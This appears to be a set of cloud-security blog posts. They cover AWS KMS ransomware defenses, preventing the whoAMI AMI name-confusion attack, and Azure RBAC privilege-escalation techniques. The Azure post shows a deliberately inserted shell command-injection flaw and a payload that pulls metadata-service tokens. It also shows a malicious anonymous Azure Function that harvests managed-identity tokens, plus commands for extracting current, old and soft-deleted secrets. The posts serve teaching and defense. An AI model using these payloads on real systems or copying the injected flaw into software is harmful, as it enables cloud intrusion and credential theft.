Restrict IAM Permissions & KMS Access:
- Remove broad KMS permissions ( kms:* ).
- Follow the principle of least privilege, ensuring only necessary permissions are granted.
- Block kms:ImportKeyMaterial using a Service Control Policy (SCP) to prevent unauthorised key uploads.
Monitor & Detect KMS Activity via CloudTrail:
- Track suspicious actions like ImportKeyMaterial, DeleteKeyMaterial, and ScheduleKeyDeletion in CloudTrail Logs.
- Set up detections based on CloudTrail eventName/eventSource pairs to flag unauthorised key modifications.
- Since KMS key operations are logged, create alerts to identify potential ransomware activities.
Enforce Strong Key Management Policies:
- Restrict key usage via KMS key policies to specific IAM roles and services.
- Enable multi-factor authentication (MFA) for critical key management actions.
- Configure automatic expiration of imported key material to limit unauthorised key persistence.
Detect & Block the Rug-Pull Operation:
- kms:DeleteImportedKeyMaterial is a critical event to monitor and block, as it signals an attempt to make encrypted data permanently inaccessible.

Wrap-Up and Resources 🖇️

In this blog post, we've learned about the RansomWhen tool and how it can help defenders to identify potential attack paths and vulnerabilities in their AWS environments that threat actors who gain access could leverage. We've also shown how RansomWhen can alert defenders to events that are potentially related to ransomware attacks by querying CloudTrail logs.

Here are some additional resources to help you learn more about the topics discussed in this blog post:

Bottom Line

BYOKM ransomware attacks exploit the legitimate ability to import custom key material into AWS KMS, requiring defenders to enforce strict IAM controls, monitor CloudTrail for suspicious key operations, and proactively enumerate identities with dangerous KMS permissions using tools like RansomWhen before threat actors do.

Defending Against the whoAMI Attack with AWS Declarative Policies

Tyler Petty — Thu, 06 Mar 2025 12:15:14 GMT

Cloud Security Researcher and Advocate, Seth Art, recently published the blog post whoAMI: A cloud image name confusion attack . In it, Seth describes how an AWS account can become compromised by an attacker who creates an AMI with a similar name to an existing AMI. Users of AWS can be tricked into using the attacker's AMI if they forget to specify the owner of the AMI they want to use, an easy mistake to make.

Luckily, we can craft an AWS Declarative Policy, a type of security guardrail, that can prevent this attack!

Key Takeaway: The whoAMI attack exploits AWS AMI name confusion by creating attacker-controlled images with similar names to trusted ones; AWS Declarative Policies prevent this by restricting EC2 launches to only AMIs from authorized providers.

The Attack 💥

I highly encourage you to read Seth's blog post to fully understand the attack, but let's set the context with one of the examples from the post.

Often, cloud engineers use Terraform, an Infrastructure-as-Code (IaC) tool, to create resources in the cloud. The Terraform code example below creates an AWS EC2 instance using the latest Ubuntu AMI.

# Find the latest Ubuntu AMI

data "aws_ami" "ubuntu" {

most_recent = true

filter {

name = "name"

values = ["ubuntu/images/hvm-ssd/ubuntu-focal-20.04-amd64-server-*"]

}

# Create a new EC2 instance with the Ubuntu AMI

resource "aws_instance" "web_server" {

ami = data.aws_ami.ubuntu.id

instance_type = "t2.micro"

}

The issue here is the owners attribute is not specified in the data "aws_ami" "ubuntu" block. This means the most_recent Ubuntu AMI from any AWS account will be used.

So, an attacker can create a more recent AMI with a similar name to ubuntu-focal-20.04-amd64-server-* e.g., ubuntu-focal-20.04-amd64-server-attacker-server-20250301 which would cause the Terraform code to use the attacker's AMI instead of a trusted one created by amazon or canonical (the owners of Ubuntu).

Here's an example of how to specify the owners attribute in the Terraform code.

# Find the latest Ubuntu AMI

data "aws_ami" "ubuntu" {

most_recent = true

filter {

name = "name"

values = ["ubuntu/images/hvm-ssd/ubuntu-focal-20.04-amd64-server-*"]

}

owners = ["099720109477"] # Canonical

}

Defining Security Guardrails with Declarative Policies 🛡️

In December 2024, AWS launched Declarative Policies , a new AWS Organizations policy type allowing for defining and enforcing controls across multiple accounts. As of this writing, Declarative Policies specifically support select controls for Amazon VPC, Amazon EBS, and Amazon EC2. The ladder is what we're interested in for this blog post.

For this to work, there are a few pre-requisites:

AWS Organizations must be set up. See the AWS documentation.
AWS Organizations Management Policies must be enabled. See the AWS documentation.

Below is an example Declarative Policy that defines only AMIs from Amazon and Canonical ( 099720109477 ) are allowed to be used. We can choose from three different state options:

enabled - Any AMI that does not meet the policy will be blocked from use for **new** instances.
disabled - Nothing will happen as the policy is disabled.
audit_mode - Any AMI that does not meet the policy will be marked with `Not Allowed` in the console and `ImageAllowed: false` in the CLI but these can still be used.

{
"ec2_attributes": {
"allowed_images_settings": {
"state": {
"@@assign": "audit_mode"
},
"image_criteria": {
"criteria_1": {
"allowed_image_providers": {
"@@assign": [
"amazon",
"099720109477"
]
}
}
}
}
}
}

Enabling the Declarative Policy in Audit Mode

When in Audit Mode, the policy will not block any AMIs that do not meet the policy. Instead, it will mark them as Not Allowed in the AWS Console and ImageAllowed: false in the AWS CLI. Terraform won't provide any indication that the AMI is not allowed by the policy.

$ aws --region us-east-1 ec2 describe-images --owners 111111111111

{

"Images": [

{

[SNIP]

"Description": "Do you trust me?",

"EnaSupport": true,

"Hypervisor": "xen",

"Name": "Attacker created AMI",

"RootDeviceName": "/dev/xvda",

"RootDeviceType": "ebs",

"SriovNetSupport": "simple",

"VirtualizationType": "hvm",

"BootMode": "uefi-preferred",

"ImdsSupport": "v2.0",

"SourceInstanceId": "i-0fa570802e5bec65a",

"ImageAllowed": false,

"SourceImageId": "ami-05b10e08d247fb927",

[SNIP]

Enabling the Declarative Policy in Enabled Mode

When in Enabled Mode, the policy will block any AMIs that do not meet the policy from being used for new instances. In this case, the AWS Console and AWS CLI, will not show any AMIs that do not meet the policy requirements. When using an AMI that does not meet the policy within Terraform, you will receive an image id does not exist error when trying to deploy.

resource "aws_instance" "unauthorized_ami" {

ami = "ami-0010edd796fd9c04d"

instance_type = "t2.micro"

$ terraform apply -auto-approve

│ Error: creating EC2 Instance: operation error EC2: RunInstances, https response error StatusCode: 400, RequestID: c0416b31-be2d-4d9b-a502-a5b24243d2fb, api error InvalidAMIID.NotFound: The image id '[ami-0010edd796fd9c04d]' does not exist

│

│ with aws_instance.example,

│ on main.tf line 6, in resource "aws_instance" "example":

│ 6: resource "aws_instance" "example" {

Understanding the Declarative Policy Impact in Enabled Mode

You may be interested in understanding the impact of enabling this Declarative Policy in your AWS account. This section will help to answer some of the questions you may have.

What happens to existing EC2s in an account using an AMI denied by policy?

No impact. This only impacts newly created EC2s, not existing ones.

What happens if I make a copy of an AMI that is not allowed by policy but was already running in my account before the policy was enforced?

You can make a copy and it will be allowed because you're now the account owner of the copied AMI.

Discovering AMIs that Violate the Declarative Policy 🕵️‍♂️

Because the Declarative Policy does not impact existing AMIs even in `enabled` mode, you may want to audit your environment to see which AMIs used violate your new policy.

To do so you could enumerate the Owner IDs of the AMIs in your account which could be automated via the AWS CLI, SDK, or a third-party tool like Datadog's whoAMI-scanner tool.

whoAMI-scanner

We can install the whoAMI-scanner tool via GO.

$ GOBIN=/usr/local/bin/ go install -v https://github.com/DataDog/whoAMI-scanner@latest

Then we can run the tool to scan our account's AMIs.

$ whoAMI-scanner --profile dev --region us-east-1 --verbose

[ 👀 whoAMI-scanner v1.0.0 👀 ] AWS Caller Identity: arn:aws:iam::111111111111:user/dev_user

[*] Verbose mode enabled.

[*] Starting AMI analysis...

[*] [us-east-1] Allowed AMI Accounts status: Audit mode

[1/3][us-east-1] ami-05b10e08d247fb927 being analyzed (Instance: i-0fcc6ee95cac86d93)

[1/3][us-east-1] ami-05b10e08d247fb927 is a community AMI from an AWS verified account.

[2/3][us-east-1] ami-0010edd796fd9c04d being analyzed (Instance: i-017f0fad886bbe247)

[2/3][us-east-1] ami-0010edd796fd9c04d is a AWS marketplace AMI from a verified account.

[3/3][us-east-1] ami-04b4f1a9cf54c11d0 being analyzed (Instance: i-0fed27593d49ac4fc)

[3/3][us-east-1] ami-04b4f1a9cf54c11d0 is a community AMI from an AWS verified account.

Summary Key:

+-------------------------------+-----------------------------------------+

| Term | Definition |

+-------------------------------+-----------------------------------------+

| Self hosted | AMIs from this account |

| Allowed AMIs | AMIs from an allowed account per the AWS Allowed AMIs API |

| Trusted AMIs | AMIs from an trusted account per user input to this tool |

| Verified AMIs | AMIs from Verified Accounts (Verified by Amazon) |

| Shared with me (Private) | AMIs shared privately with this account but NOT from a |

| | verified, trusted or allowed account. If you trust this |

| | account, add it to your Allowed AMIs API or specify it as |

| | trusted in the whoAMI-scanner command line. |

| Public, unverified, but known | AMIs from unverified accounts, but we found the account |

| | ID in fwdcloudsec's known_aws_accounts mapping: |

| | https://github.com/fwdcloudsec/known_aws_accounts. |

| | These are likely safe to use but worth investigating. |

| Public, unverified, & unknown | AMIs from unverified accounts. Be cautious with these |

| | unless they are from accounts you control. If not from |

| | your accounts, look to replace these with AMIs from |

| | verified accounts |

+-------------------------------+-----------------------------------------+

Summary:

AWS's "Allowed AMI" config status by region

Enabled/Audit-mode/Disabled: 0/1/0

Total Instances: 3

Total AMIs: 3

Self hosted AMIs: 0

Allowed AMIs: 0

Trusted AMIs: 0

Verified AMIs: 3

Shared with me (Private) AMIs: 0

Public, unverified, but known: 0

Public, unverified, & unknown AMIs: 0

[!] Looks like you have started to use AWS's "Allowed AMIs" feature.

Only configuring "Allowed AMIs" in "enabled" mode protects you against the whoAMI attack.

Visit https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-allowed-amis.html for more information.

In these results, we can see where the AMIs are coming from which we can use to help craft our Declarative Policy.

Bottom Line

The whoAMI attack exploits missing owner validation in AMI lookups, but AWS Declarative Policies provide a cloud-native guardrail that enforces AMI source restrictions at the organizational level—use audit mode first with whoAMI-scanner to identify existing violations, then enforce enabled mode to block unauthorized AMIs from new deployments.

Wrap-Up and Resources 🗞️

In this blog post, we've learned about the whoAMI attack discovered by Seth Art and how to prevent it using AWS Declarative Policies. We've also learned to audit AWS accounts' AMI usage with the whoAMI-scanner tool.

Here are some additional resources to help you learn more about the topics discussed in this blog post:

Climbing the Azure RBAC Ladder

Marios Pappas — Tue, 10 Dec 2024 15:23:36 GMT

Join us in this new blog post as we explore the various methods that threat actors commonly use to move laterally and escalate privileges in Azure.

Key Takeaway: Azure privilege escalation exploits RBAC misconfigurations through service principal compromise, overly permissive role assignments (Owner, User Access Administrator), managed identities without credential rotation, and lateral movement via stolen tokens - defenders must enforce least-privilege RBAC, regularly audit role assignments, implement just-in-time access, and rotate credentials immediately upon compromise detection.

What are lateral movement and privilege escalation?

Lateral movement and privilege escalation are two distinct yet related techniques commonly used by attackers during the exploitation and compromise of a system or network. Attackers often attempt to escalate privileges on a compromised system (e.g., a domain-joined machine in Active Directory) to access sensitive data, such as account password hashes. They can then try to use this information to move laterally within the network. Below, we provide brief definitions of these two terms:

Lateral Movement refers to techniques that enable threat actors to pivot from one identity, host, resource or service to another within an environment, aiming to further compromise the environment and increase their level of access within them.

Privilege Escalation involves adversaries using techniques to gain higher-level permissions in the environment.

In Azure, privilege escalation refers to the process where a threat actor gains permissions within an Azure environment, e.g. at the level of an Azure subscription, Entra ID tenant, or Resource Group, which is more privileged than those originally assigned to the compromised identity. This can involve exploiting misconfigurations, improper permissions, or weaknesses in identity management and access controls. To increase access in the cloud, we're required to undertake a continuous cycle of enumeration, lateral movement, persistence and privilege escalation.

Understanding privilege escalation vectors in Azure is crucial for offensive security professionals who test and defend Azure environments. As defenders, deepening our understanding of these offensive techniques allows us to secure sensitive resources, prevent unauthorized access, and mitigate risks by implementing stricter access controls and monitoring for unusual activities.

In this blog post, we will explore some common privilege escalation techniques that leverage RBAC roles to grant access to additional Azure resources. In a follow-up post, we will explore how threat actors can abuse common Entra ID roles and permissions to move laterally within an Azure tenant and escalate privileges by compromising high-privilege accounts.

Getting situational awareness 🔭

When assessing the security of an unfamiliar Azure environment or of a new execution context, one of the key tasks is to get an understanding of the roles that identities such as users, managed identities and service principals have been assigned. Azure Role-Based Access Control (Azure RBAC) includes several built-in roles that administrators can assign to identities (such as "Reader" and "Contributor"), allow the identities to access and manage Azure resources. If the built-in roles don't meet a specific requirement, custom Azure roles can also be created.

It's important to note that RBAC roles can also be inherited through nested group memberships. When an Azure RBAC role is assigned to a group at a specific scope (e.g., a virtual machine resource), all members of that group—including those in nested groups—will inherit the assigned role.

Image source: Microsoft Learn

You can easily identify all RBAC roles assigned to an Entra ID user account by making appropriate Azure REST API calls. The following script demonstrates this process and requires the user to authenticate to Azure using the Az PowerShell module.

$userUPN = (Get-AzContext).Account.Id
$subscriptionId = (Get-AzContext).Subscription.Id
$user = Get-AzADUser -UserPrincipalName $userUPN
$userId = $user.Id
$armtoken = (Get-AzAccessToken -ResourceTypeName Arm).Token
$apiVersion = '2022-04-01'

$uri = "https://management.azure.com/subscriptions/$subscriptionId/providers/Microsoft.Authorization/roleAssignments?api-version=$apiVersion&`$filter=assignedTo('$userId')"

$requestParams = @{
Method = 'GET'
Uri = $uri
Headers = @{
'Authorization' = "Bearer $armtoken"
}
}

$response = Invoke-RestMethod @requestParams

# Get role definitions
foreach ($assignment in $response.value) {
$roleDefinitionId = $assignment.properties.roleDefinitionId
$roleDefinitionIdParts = $roleDefinitionId -split '/'
$roleDefinitionIdFinal = $roleDefinitionIdParts[-1]

$roleDefinition = Get-AzRoleDefinition -Id $roleDefinitionIdFinal
$roleDefinition | Format-List *
}

This script can also be modified to retrieve the assigned RBAC roles for a system-assigned managed identity. If we authenticate to Azure using the Managed Identity of e.g. a Function App, we can easily adjust the scope and identify the assigned RBAC roles with the following script:

$resourceGroupName = "your-resource-group-name" $functionAppName = "your-function-app-name" $subscriptionId = (Get-AzContext).Subscription.Id $scope = "/subscriptions/$subscriptionId/resourceGroups/$resourceGroupName/providers/Microsoft.Web/sites/$functionAppName" $managedIdentity = Get-AzSystemAssignedIdentity -Scope $scope if ($managedIdentity -eq $null) { Write-Host "System Assigned Managed Identity not found." -ForegroundColor Red return } $managedIdentityId = $managedIdentity.PrincipalId $armtoken = (Get-AzAccessToken -ResourceTypeName Arm).Token $apiVersion = '2022-04-01' $uri = "https://management.azure.com/subscriptions/$subscriptionId/providers/Microsoft.Authorization/roleAssignments?api-version=$apiVersion&`$filter=assignedTo('$managedIdentityId')" $requestParams = @{ Method = 'GET' Uri = $uri Headers = @{ 'Authorization' = "Bearer $armtoken" } } $response = Invoke-RestMethod @requestParams foreach ($assignment in $response.value) { $roleDefinitionId = $assignment.properties.roleDefinitionId $roleDefinitionIdParts = $roleDefinitionId -split '/' $roleDefinitionIdFinal = $roleDefinitionIdParts[-1] $roleDefinition = Get-AzRoleDefinition -Id $roleDefinitionIdFinal $roleDefinition | Format-List * }

If we encounter a scenario where we control a user-assigned managed identity, we can perform the RBAC role assignment enumeration by making appropriate modifications to the script. In this case, we will use the Get-AzUserAssignedIdentity cmdlet to define the scope.

$managedIdentityName = "your-user-assigned-managed-identity-name" $resourceGroupName = "your-resource-group-name" $subscriptionId = (Get-AzContext).Subscription.Id $managedIdentity = Get-AzUserAssignedIdentity -ResourceGroupName $resourceGroupName -Name $managedIdentityName if ($managedIdentity -eq $null) { Write-Host "User Assigned Managed Identity not found." -ForegroundColor Red return } $managedIdentityId = $managedIdentity.Id $armtoken = (Get-AzAccessToken -ResourceTypeName Arm).Token $apiVersion = '2022-04-01' $uri = "https://management.azure.com/subscriptions/$subscriptionId/providers/Microsoft.Authorization/roleAssignments?api-version=$apiVersion&`$filter=assignedTo('$managedIdentityId')" $requestParams = @{ Method = 'GET' Uri = $uri Headers = @{ 'Authorization' = "Bearer $armtoken" } } $response = Invoke-RestMethod @requestParams foreach ($assignment in $response.value) { $roleDefinitionId = $assignment.properties.roleDefinitionId $roleDefinitionIdParts = $roleDefinitionId -split '/' $roleDefinitionIdFinal = $roleDefinitionIdParts[-1] $roleDefinition = Get-AzRoleDefinition -Id $roleDefinitionIdFinal $roleDefinition | Format-List * }

Lastly, we may encounter a situation where we control a service principal and need to enumerate its assigned RBAC roles. This can be achieved using the following script, which utilizes the Get-AzADServicePrincipal cmdlet to define the appropriate API call scope.

$servicePrincipalName = "your-service-principal-name-or-app-id"
$subscriptionId = (Get-AzContext).Subscription.Id

$servicePrincipal = Get-AzADServicePrincipal -DisplayName $servicePrincipalName
$servicePrincipalId = $servicePrincipal.Id

$armtoken = (Get-AzAccessToken -ResourceTypeName Arm).Token
$apiVersion = '2022-04-01'

$uri = "https://management.azure.com/subscriptions/$subscriptionId/providers/Microsoft.Authorization/roleAssignments?api-version=$apiVersion&`$filter=assignedTo('$servicePrincipalId')"

$requestParams = @{
Method = 'GET'
Uri = $uri
Headers = @{
'Authorization' = "Bearer $armtoken"
}
}

$response = Invoke-RestMethod @requestParams

foreach ($assignment in $response.value) {
$roleDefinitionId = $assignment.properties.roleDefinitionId
$roleDefinitionIdParts = $roleDefinitionId -split '/'
$roleDefinitionIdFinal = $roleDefinitionIdParts[-1]

$roleDefinition = Get-AzRoleDefinition -Id $roleDefinitionIdFinal
$roleDefinition | Format-List *
}

Common Azure RBAC privilege escalation abuse scenarios 🪜

1. Managed Identities with Excessive Permissions 💥

Managed identities are an Entra feature that provide an identity for a service or resource within an EntraID tenant. Managed identities simplify credential management for applications and services running in Azure by reducing the need to manually manage credentials. Managed identities are typically used when resources, such as Azure Virtual Machines (VM) or Azure Functions, need to authenticate to and securely access other Azure resources. When a managed identity is created for a resource, Azure automatically creates a service principal in the Entra ID tenant to represent that resource.

This service principal is used to authenticate to the resource via Entra ID and is assigned specific permissions. Managed identities are a specialized type of identity designed for Azure resources, streamlining authentication and access management for enhanced security. There are two types of managed identities:

System-Assigned Managed Identity: This identity is tied to a single Azure resource, such as a Virtual Machine or Web App. It is created automatically when enabled and is destroyed if the associated resource is deleted.
User-Assigned Managed Identity: This identity is created as a standalone Azure resource and can be associated with as many Azure resources as needed.

Managed identities are often granted specific roles or permissions within a subscription, such as Reader, Contributor, or Owner. If a managed identity with assigned roles is compromised, threat actors can potentially use it to escalate their privileges. For example, a compromised managed identity associated with a Web App could be used to access sensitive information stored in other Azure resources, as demonstrated in the diagram below.

Image source: Microsoft Learn

If an attacker identifies a public service such as an Azure App Service, specifically a Web App, e.g. hosted at https://staging.megabigtech.com/supportcareplus.php, they may start enumerating the web app for potential vulnerabilities caused by poor coding practices. If a Command Injection vulnerability is found, it could be exploited to access the IDENTITY_ENDPOINT and IDENTITY_HEADER environment variables.

The script below can be used to obtain tokens for an attached Managed Identity.

$armtoken = 'eyJ0eX...vQ-d9oDA'
$msgraphtoken = 'eyJ0eXAi...z5dpYw'
$keyvaulttoken = 'eyJ0e...0Bt84Ng'
Connect-AzAccount -AccessToken $armtoken -MicrosoftGraphAccessToken $msgraphtoken -KeyVaultAccessToken $keyvaulttoken -AccountId '0000000-0000-0000-0000-000000000'

PS C:\AzureTools> Get-AzResource

Name : topsecretkeyvault
ResourceGroupName : prototypes
ResourceType : Microsoft.KeyVault/vaults
Location : eastus
ResourceId : /subscriptions/<SUBSCRIPTION_ID/resourceGroups/prototypes/providers/Microsoft.KeyVault/vaults/topsecretkeyvault
Tags :

After obtaining the tokens, the example above demonstrates how an Azure Key Vault is discovered. The attackers can then begin extracting sensitive information from it. Another common attack vector for this type of privilege escalation involves abusing command execution permissions on a Virtual Machine, such as Microsoft.Compute/virtualMachines/runCommand/action. Attackers can exploit these permissions to execute commands on the VM with system privileges, enabling them to steal access tokens.

💡 For more details on Azure VM attacks, check out this excellent blog post.

Azure Automation Accounts provide a service for automating tasks across Azure resources, on-premises infrastructure, and other cloud providers. They enable automation through Runbooks, Configuration Management, update management, and shared resources like credentials, certificates, and connections. According to Microsoft, some common use cases for Azure Automation include:

Deploying virtual machines across hybrid environments using Runbooks
Identifying configuration changes
Configuring virtual machines
Retrieving inventory details

Runbooks are a core feature of Azure Automation and support scripting languages such as PowerShell and Python. They enable the automation of tasks within Azure, such as starting multiple virtual machines simultaneously. Runbooks can execute in either the Azure Sandbox or a Hybrid Runbook Worker environment. Additionally, a variety of prebuilt Runbooks for diverse automation tasks can be found in this GitHub repository.

Managed identities play a crucial role in Azure Automation Accounts, as they are often used to perform actions on other Azure resources. If an attacker gains access to an Automation Account with elevated permissions, they can exploit Runbooks to execute commands across resources. This could result in unauthorized actions such as data extraction or configuration changes.

As Managed Identities can be associated with various Azure services, attackers can leverage them to escalate privileges or conduct lateral movement by compromising resources like Azure Logic Apps and Function Apps.

2. Key Vault Misuse for Secrets and Certificates 🔑

Azure Key Vault is a service for securely storing and managing sensitive information such as passwords, connection strings, certificates, private keys, and more. It simplifies the administration of application secrets and integrates seamlessly with other Azure services. Common objects stored in Key Vaults include:

Cryptographic Keys (e.g., RSA, EC)
Secrets (e.g., passwords, connection strings)
Certificates (including life cycle management)
Storage Account Keys (for managing and rotating access keys for Storage Accounts)

If attackers compromise accounts with specific RBAC roles, they may gain unauthorized access to Key Vaults containing critical credentials. These leaked secrets may allow attackers to escalate privileges within the Azure environment, access protected data, or impersonate identities.

Get-AzKeyVaultSecret -VaultName topsecretkeyvault

Vault Name : topsecretkeyvault
Name : globaladmin-creds
Version :
Id : https://topsecretkeyvault.vault.azure.net:443/secrets/globaladmin-cred
Enabled : True
Expires :
Not Before :
Created : 10/23/2024 17:13:13
Updated : 10/23/2024 17:13:13
Content Type :
Tags :

Get-AzKeyVaultSecret -VaultName topsecretkeyvault -SecretName globaladmin-creds -AsPlainText IaMPwn3d!

Another important attack vector to consider is the versioning feature of secrets in Azure Key Vault. Each secret in a Key Vault can have multiple versions, with each version representing a unique value. When a new value is assigned to a secret, a new version is created. This functionality allows administrators to maintain a history of changes and easily roll back to previous versions when needed.

However, attackers can exploit this feature by searching through older versions to uncover forgotten secrets, such as credentials that may still be in use.

The following Az PowerShell command can be used to list all Key Vault secrets, including their older versions:

Get-AzKeyVaultSecret -VaultName 'KEYVAULT_NAME' -Name 'SECRET_NAME' -IncludeVersions

Additionally, a specific version of a secret can be retrieved, exposing sensitive data that was presumed removed from the Key Vault:

Get-AzKeyVaultSecret -VaultName 'KEYVAULT_NAME' -Name 'SECRET_NAME' -Version 'VERSION' -AsPlainText

Another frequently overlooked attack vector is the soft-delete feature of Azure Key Vault. This feature allows recovery of deleted Key Vaults and their objects (keys, secrets, and certificates). According to Microsoft's documentation, when a secret, key, or certificate is deleted, it remains recoverable for a configurable period of 7 to 90 calendar days. If no specific configuration is applied, the default recovery period is set to 90 days.

While this feature provides a safety net for accidental deletions, it can also be exploited by attackers. If they gain access to a Key Vault within this recovery window, they can retrieve and misuse soft-deleted secrets.

The following command lists soft-deleted Key Vault secrets:

Get-AzKeyVaultSecret -VaultName 'KEYVAULTNAME' -InRemovedState

Once a soft-deleted secret is identified, it can be restored and its plaintext value retrieved using these commands:

Undo-AzKeyVaultSecretRemoval -VaultName "KEYVAULTNAME" -Name 'SECRETNAME'
Get-AzKeyVaultSecret -VaultName 'KEYVAULTNAME' -Name 'SECRETNAME' -AsPlainText

3. Abusing Azure DevOps and CI/CD Pipelines 🧨

DevOps is a collaborative methodology that unifies development and operations teams to optimize software delivery processes. It focuses on automation, continuous integration, and continuous delivery (CI/CD) to enhance efficiency, reliability, and deployment speed. CI/CD pipelines automate code integration, testing, and deployment, enabling rapid and frequent software releases.

Azure DevOps is a cloud-based suite of tools and services designed to support the entire software development lifecycle. It provides a comprehensive platform for managing code, tracking work, automating builds, and deploying applications. Its key components include:

Azure Repos for version control
Azure Pipelines for CI/CD automation
Azure Boards for work tracking and project management
Azure Test Plans for quality assurance and testing
Azure Artifacts for package management

Attackers who gain access to security principals (e.g., user principals, service principals, or managed identities) with permissions in Azure DevOps can exploit its features and built-in roles to perform enumeration or carry out attacks within the tenant. Common attack vectors include:

Gaining control of DevOps Managed Identities by requesting access tokens
Accessing sensitive information stored in repositories
Modifying or tampering with repositories
Abusing CI/CD tools, such as pipelines or systems like Jenkins, to execute malicious code on target systems

For instance, consider an attack chain where an attacker compromises an identity with Contributor access to a GitHub repository (this refers to the GitHub role, not the built-in Azure Contributor role). Upon inspecting the repository’s README file, the attacker discovers that the repository is part of a CI/CD pipeline used to test various Azure Web App features, such as extracting text from PDF files. Let us also assume that the Web App at hand is accessible by the attacker. This could happen from either an unauthenticated perspective, if the Web App is publicly available, or an authenticated perspective, should the compromised account that the attacker controls have access.

Original process_file.py

import logging
import azure.functions as func

def main(req: func.HttpRequest) -> func.HttpResponse:
logging.info('Processing request for image metadata.')

image_url = req.params.get('image_url')
if not image_url:
return func.HttpResponse(
"Please provide an image_url parameter.",
status_code=400
)

metadata = fetch_image_metadata(image_url)
return func.HttpResponse(metadata, status_code=200)

def fetch_image_metadata(image_url):
# Normally, this function would interact with a service or library to retrieve metadata
# Example (before malicious modification): return f"Metadata for {image_url}"
return "Metadata Placeholder"

The attacker can modify the process_file.py to introduce a command injection vulnerability.

import os
import subprocess
from flask import Flask, request, jsonify

app = Flask(__name__)

@app.route('/process', methods=['POST'])
def process_file():
file_path = request.form.get('file_path')
if not file_path or not file_path.endswith('.pdf'):
return jsonify({"error": "Invalid file. Please upload a PDF."}), 400

# Vulnerable code: file_path is directly included in the shell command
command = f"pdftotext {file_path} -" # Concatenation introduces vulnerability
result = subprocess.check_output(command, shell=True)
return jsonify({"text": result.decode('utf-8')})

They can then access the compromised application and send a POST request to the tampered /process endpoint, targeting the Azure Instance Metadata Service (IMDS) through remote code execution.

POST /process HTTP/1.1
Host: vulnerableapp.azurewebsites.net
Content-Type: application/x-www-form-urlencoded

file_path=/path/to/file.pdf; curl "http://169.254.169.254/metadata/identity/oauth2/token?resource=https://management.azure.com&api-version=2019-08-01" -H "Metadata:true"

It’s important to note that this technique can also be used for initial access to an Azure environment. For example, an attacker could gain access to an employee’s GitHub credentials and exploit a CI/CD pipeline to enumerate Azure resources. The attacker could then exploit running services to hijack attached managed identities, ultimately gaining a foothold in the environment.

4. Abusing Storage Accounts 🪣

If an attacker compromises an identity with role assignments such as Storage Blob Data Owner or Storage Account Contributor, they may be able to exfiltrate or destroy sensitive and expand their reach within the environment by compromising additional resources. Blob containers can be misused to store unencrypted sensitive information such as credentials, keys and configuration files, which is against best practices. In the example below, an attacker gains control of an identity that has the Storage Blob Data Reader role assigned.

Get-AzRoleAssignment

<snip>

Scope : /subscriptions/0000000-0000-0000-0000-00000000/resourceGroups/topsecret/providers/Microsoft.Storage/storageAccounts/corporate-secrets
DisplayName :
SignInName :
RoleDefinitionName : Storage Blob Data Reader

<snip>

The attacker can then start enumerating the Blob Container for sensitive files.

az storage container list --account-name corporate-secrets --auth-mode login

az storage blob list --account-name corporate-secrets --container-name
WMD-schematics --auth-mode login

Similar to Key Vaults, Storage Accounts offer a soft delete feature for blobs. This feature allows users to recover data that was accidentally deleted or overwritten by retaining deleted blobs and snapshots for a specified retention period. However, this functionality can be exploited by threat actors who search for different versions of files and directories within a Blob container. These older versions might contain sensitive information, as blobs can remain retrievable even after deletion.

Attackers can easily locate soft-deleted blobs and retrieve their contents.

$storageAccount = Get-AzStorageAccount -ResourceGroupName mbt-rg-11 -Name mbtresearch $storagecontext = $storageAccount.Context Get-AzStorageBlob -Context $storagecontext -Container <CONTAINER_NAME> -IncludeDeleted

Soft-deleted blobs can be retrieved using REST API calls.

$storagetoken = (Get-AzAccessToken -ResourceUrl Storage).Token
$currentDate = (Get-Date).ToUniversalTime().ToString("R")

$headers = @{
"Authorization" = "Bearer $storagetoken"
"x-ms-version" = "2020-10-02"
"x-ms-date" = $currentDate
}

$response = Invoke-RestMethod -Uri "https://STORAGE_ACCOUNT_NAME.blob.core.windows.net/CONTAINER_NAME/BLOB_NAME?comp=undelete" -Method Put -Headers $headers
$response

Blob versioning is a feature of Azure Storage Accounts that allows users to maintain and access previous versions of blobs within a storage account. As mentioned, this feature protects against accidental modifications or deletions by preserving the history of changes, enabling users to recover previous blob versions as needed. However, it is not uncommon for unattended files containing sensitive information to be left in previous blob versions, posing a potential security risk.

$storagetoken = (Get-AzAccessToken -ResourceUrl Storage).Token
$currentDate = (Get-Date).ToUniversalTime().ToString("R")

$headers = @{
"Authorization" = "Bearer $storagetoken"
"x-ms-version" = "2020-10-02"
"x-ms-date" = $currentDate
}

$uri = "https://STORAGE_ACCOUNT_NAME.blob.core.windows.net/CONTAINER_NAME?restype=container&comp=list&include=versions"

$response = Invoke-RestMethod -Uri $uri -Method Get -Headers $headers
$response

Another notable attack vector for abusing Storage Accounts arises when storage blobs are linked to Azure Functions. When a Function App is created, a dedicated Storage Account is also provisioned to support various operations, such as trigger management and logging.

If an attacker compromises the Storage Account associated with an HTTP-triggered Function App, the Function App itself can be fully compromised. The attacker could create a malicious trigger function designed to steal access tokens. An example implementation in Python is shown below:

import logging, os
import azure.functions as func
def main(req: func.HttpRequest) -> func.HttpResponse:
IDENTITY_ENDPOINT = os.environ['IDENTITY_ENDPOINT']
IDENTITY_HEADER = os.environ['IDENTITY_HEADER']
cmd = 'curl "%s?resource=https://management.azure.com&api-version=2017-09-01" -H secret:%s' % (IDENTITY_ENDPOINT, IDENTITY_HEADER)
management_token = os.popen(cmd).read()
cmd = 'curl "%s?resource=https://vault.azure.net&api-version=2017-09-01" -H secret:%s' % (IDENTITY_ENDPOINT, IDENTITY_HEADER)
vault_token = os.popen(cmd).read()
cmd = 'curl "%s?resource=https://graph.microsoft.com&api-version=2017-09-01" -H secret:%s' % (IDENTITY_ENDPOINT, IDENTITY_HEADER)
graph_token = os.popen(cmd).read()
res = management_token + vault_token + graph_token
return func.HttpResponse(res, status_code=200)

The attacker must also create a function configuration dictating the type of trigger required to execute the injected function. In the example below, both HTTP GET and POST requests can trigger the function. Furthermore, no authentication is required to perform the action, making it also good for persistence and could potentially make it harder to detect.

{
"scriptFile": "__init__.py",
"bindings": [
{
"name": "req",
"type": "httpTrigger",
"methods": [
"get",
"post"
],
"direction": "in",
"authLevel": "anonymous"
},
{
"name": "$return",
"type": "http",
"direction": "out"
}
]
}

By writing these files to the Storage Account and accessing the appropriate Function App endpoint, the attacker can request access tokens for the Azure Resource Manager (ARM), the Microsoft Graph (MSGraph), the Key Vault service, and any other service associated with the Function App's Managed Identity. These tokens can then be used with the associated service in Azure as that security principal.

